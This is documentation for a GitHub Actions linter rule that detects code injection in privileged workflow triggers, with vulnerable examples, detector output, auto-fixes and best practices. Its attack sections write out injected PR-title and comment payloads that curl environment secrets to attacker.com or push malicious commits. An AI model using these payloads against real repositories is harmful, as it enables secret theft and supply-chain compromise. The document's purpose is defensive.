Code Injection Rule (Critical) Overview #
This rule detects code injection vulnerabilities when untrusted input is used directly in shell scripts or JavaScript code within privileged workflow contexts. Privileged workflows have write permissions or access to secrets, making them high-value targets for attackers.
Key Features: #
- Privileged Context Detection: Identifies dangerous patterns in
pull_request_target,workflow_run,issue_comment, and other privileged triggers - Dual Script Detection: Analyzes both
run:scripts andactions/github-scriptfor untrusted input - Auto-fix Support: Automatically converts unsafe patterns to use environment variables
- Zero False Negatives: Does not flag already-safe patterns using environment variables
Security Impact #
Severity: Critical (10/10)
Code injection in privileged workflows represents the highest severity vulnerability in GitHub Actions:
- Arbitrary Code Execution: Attackers can execute arbitrary commands in the runner environment
- Secret Exfiltration: Access to repository secrets and GITHUB_TOKEN with write permissions
- Repository Compromise: Ability to modify code, create releases, or manipulate repository settings
- Supply Chain Attack: Compromised workflows can poison artifacts or deployments
This vulnerability is classified as CWE-94: Improper Control of Generation of Code (‘Code Injection’) and aligns with OWASP CI/CD Security Risk CICD-SEC-04: Poisoned Pipeline Execution (PPE).
Privileged Workflow Triggers #
The following triggers are considered privileged because they run with write access or secrets:
pull_request_target: Runs with write permissions and secrets, but triggered by untrusted PRsworkflow_run: Executes with elevated privileges after another workflow completesissue_comment: Triggered by comments from any user, including external contributorsissues: Triggered by issue events, potentially from untrusted sourcesdiscussion_comment: Triggered by discussion comments from any user
Example Vulnerable Workflow #
Consider this dangerous workflow that processes PR titles in a privileged context:
name: Auto-label PRs
on:
pull_request_target: # PRIVILEGED: Has write access and secrets
types: [opened, edited]
jobs:
label:
runs-on: ubuntu-latest
steps:
# CRITICAL VULNERABILITY: Untrusted input in privileged context
- name: Add label based on title
run: |
TITLE="${{ github.event.pull_request.title }}"
echo "Processing PR: $TITLE"
gh pr edit ${{ github.event.pull_request.number }} --add-label "needs-review"
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
Attack Scenario #
How Code Injection Exploits Privileged Workflows:
Attacker Creates Malicious PR: Opens a PR with a crafted title:
Title: "; curl https://attacker.com/$(cat /proc/self/environ | base64) #Workflow Triggers:
pull_request_targetruns with write permissionsCommand Injection: The shell interprets the malicious title:
TITLE=""; curl https://attacker.com/$(cat /proc/self/environ | base64) #"Secret Exfiltration: Environment variables (including secrets) are sent to attacker
Further Exploitation: Attacker can modify code, create malicious releases, or poison artifacts
This attack is devastating because:
- No code review is needed (PR can be from external contributor)
- Secrets are exposed immediately upon PR creation
- GITHUB_TOKEN has write permissions
- Attack leaves minimal traces
Example Output #
Running sisakulint will detect untrusted input in privileged contexts:
$ sisakulint
.github/workflows/pr-label.yaml:12:20: code injection (critical): "github.event.pull_request.title" is potentially untrusted and used in a workflow with privileged triggers. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions [code-injection-critical]
12 👈| run: |
TITLE="${{ github.event.pull_request.title }}"
Auto-fix Support #
The code-injection-critical rule supports auto-fixing by converting unsafe patterns to use environment variables:
# Preview changes without applying
sisakulint -fix dry-run
# Apply fixes
sisakulint -fix on
Auto-fix for Run Scripts #
Before (Vulnerable):
on: pull_request_target
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Process PR
run: echo "Title: ${{ github.event.pull_request.title }}"
After (Secure):
on: pull_request_target
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Process PR
run: echo "Title: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
Auto-fix for GitHub Script #
Before (Vulnerable):
on: issue_comment
jobs:
respond:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v6
with:
script: |
const body = '${{ github.event.comment.body }}'
console.log('Comment:', body)
After (Secure):
on: issue_comment
jobs:
respond:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v6
with:
script: |
const body = process.env.COMMENT_BODY
console.log('Comment:', body)
env:
COMMENT_BODY: ${{ github.event.comment.body }}
Best Practices #
1. Always Use Environment Variables for Untrusted Input #
Bad (Vulnerable):
on: pull_request_target
jobs:
test:
steps:
- run: echo "${{ github.event.pull_request.title }}"
Good (Safe):
on: pull_request_target
jobs:
test:
steps:
- run: echo "$PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
2. Avoid Privileged Triggers When Possible #
Use pull_request instead of pull_request_target unless you specifically need write access:
Bad (Unnecessary Privilege):
on: pull_request_target # Has write access
jobs:
test:
steps:
- uses: actions/checkout@v4
- run: npm test # Doesn't need write access
Good (Least Privilege):
on: pull_request # Read-only
jobs:
test:
steps:
- uses: actions/checkout@v4
- run: npm test
3. Limit Permissions Explicitly #
Even in privileged workflows, restrict permissions:
on: pull_request_target
jobs:
label:
permissions:
contents: read
pull-requests: write # Only what's needed
steps:
- run: echo "$PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
4. Validate Input Before Use #
Add validation layers when processing untrusted input:
on: issue_comment
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Validate and process comment
run: |
# Validate input format
if [[ ! "$COMMENT_BODY" =~ ^[a-zA-Z0-9\ ]+$ ]]; then
echo "Invalid input"
exit 1
fi
echo "Processing: $COMMENT_BODY"
env:
COMMENT_BODY: ${{ github.event.comment.body }}
Common Untrusted Inputs #
The following GitHub context properties are considered untrusted in privileged workflows:
Pull Request Data:
github.event.pull_request.titlegithub.event.pull_request.bodygithub.event.pull_request.head.refgithub.event.pull_request.head.labelgithub.event.pull_request.head.repo.default_branch
Issue Data:
github.event.issue.titlegithub.event.issue.body
Comment Data:
github.event.comment.bodygithub.event.review.bodygithub.event.discussion.titlegithub.event.discussion.body
Other Untrusted Sources:
github.event.pages.*.page_namegithub.head_ref
Real-World Attack Vectors #
Attack Vector 1: Secret Exfiltration via PR Title #
Malicious PR Title:
Fix typo"; curl https://attacker.com/exfil?data=$(env | base64) #
Vulnerable Workflow:
on: pull_request_target
jobs:
greet:
steps:
- run: echo "Thanks for: ${{ github.event.pull_request.title }}"
env:
SECRET_TOKEN: ${{ secrets.API_KEY }}
Result: All environment variables (including secrets) sent to attacker.
Attack Vector 2: Repository Takeover via Issue Comment #
Malicious Comment:
Great idea! "; git clone https://github.com/$REPO ..; echo "malicious code" > ../index.js; git add .; git commit -m "update"; git push #
Vulnerable Workflow:
on: issue_comment
jobs:
respond:
steps:
- uses: actions/checkout@v4
- run: echo "Comment: ${{ github.event.comment.body }}"
Result: Malicious code committed to repository with GITHUB_TOKEN.
Attack Vector 3: Artifact Poisoning via Workflow Run #
Malicious Workflow Run:
# Triggered workflow
on: workflow_run
jobs:
deploy:
steps:
- run: echo "${{ github.event.workflow_run.display_title }}"
- run: ./deploy.sh # Executes with poisoned title
Result: Deployment workflow compromised.
Detection Patterns #
The code-injection-critical rule detects:
Direct interpolation in run scripts:
run: echo "${{ github.event.pull_request.title }}"Direct interpolation in github-script:
script: | console.log('${{ github.event.comment.body }}')Multiple untrusted inputs:
run: | echo "${{ github.event.pull_request.title }}" echo "${{ github.event.pull_request.body }}"
Safe Patterns #
The rule recognizes these patterns as safe:
Environment variables:
run: echo "$PR_TITLE" env: PR_TITLE: ${{ github.event.pull_request.title }}Trusted inputs (not flagged):
run: echo "${{ github.sha }}" # Trusted run: echo "${{ github.repository }}" # Trusted
Difference from Medium Severity #
The critical rule only flags privileged triggers where exploitation has immediate severe impact. The medium rule flags the same patterns in normal triggers (pull_request, push) where the risk is lower.
| Trigger Type | Rule | Risk Level | Why Different |
|---|---|---|---|
pull_request_target | Critical | 10/10 | Write access + secrets |
pull_request | Medium | 6/10 | Read-only, no secrets |
workflow_run | Critical | 10/10 | Elevated privileges |
push | Medium | 6/10 | Only trusted commits |
Integration with GitHub Security Features #
This rule complements GitHub’s security features:
- Branch Protection: Require review for workflow changes
- CODEOWNERS: Mandate approval for
.github/workflows/changes - Required Status Checks: Block PRs if sisakulint fails
- Secret Scanning: Detect exposed secrets
- Code Scanning: Run CodeQL for comprehensive analysis
CodeQL Integration #
This rule is inspired by CodeQL’s code-injection-critical query:
sisakulint provides:
- Faster feedback during development
- Auto-fix capabilities
- No GitHub Advanced Security license required
- Integration with local development workflow
OWASP CI/CD Security Alignment #
This rule addresses:
CICD-SEC-04: Poisoned Pipeline Execution (PPE)
- Prevents command injection in privileged contexts
- Enforces safe handling of untrusted input
- Reduces attack surface in CI/CD pipelines
CWE-94: Improper Control of Generation of Code
- Prevents dynamic code generation from untrusted sources
- Enforces input validation and sanitization
Complementary Rules #
Use these rules together for defense in depth:
- code-injection-medium: Detect same issues in normal triggers
- envvar-injection-critical: Adds specialized detection and mitigation for $GITHUB_ENV writes (see Rule Interactions for details)
- permissions: Limit workflow permissions to minimum necessary
- timeout-minutes: Prevent resource exhaustion attacks
- commit-sha: Pin actions to prevent supply chain attacks
Performance Considerations #
This rule has minimal performance impact:
- Detection: O(n) where n is the number of steps
- Auto-fix: In-place AST and YAML modification
- No External Calls: Purely static analysis
See Also #
Industry References:
- CodeQL: Code Injection (Critical) - CodeQL’s detection pattern
- GitHub: Security Hardening for GitHub Actions - Official security guidance
- OWASP: CICD-SEC-04 - PPE - Attack patterns
- CWE-94: Code Injection - Vulnerability classification
- GitHub: Keeping Actions Secure - Action security best practices
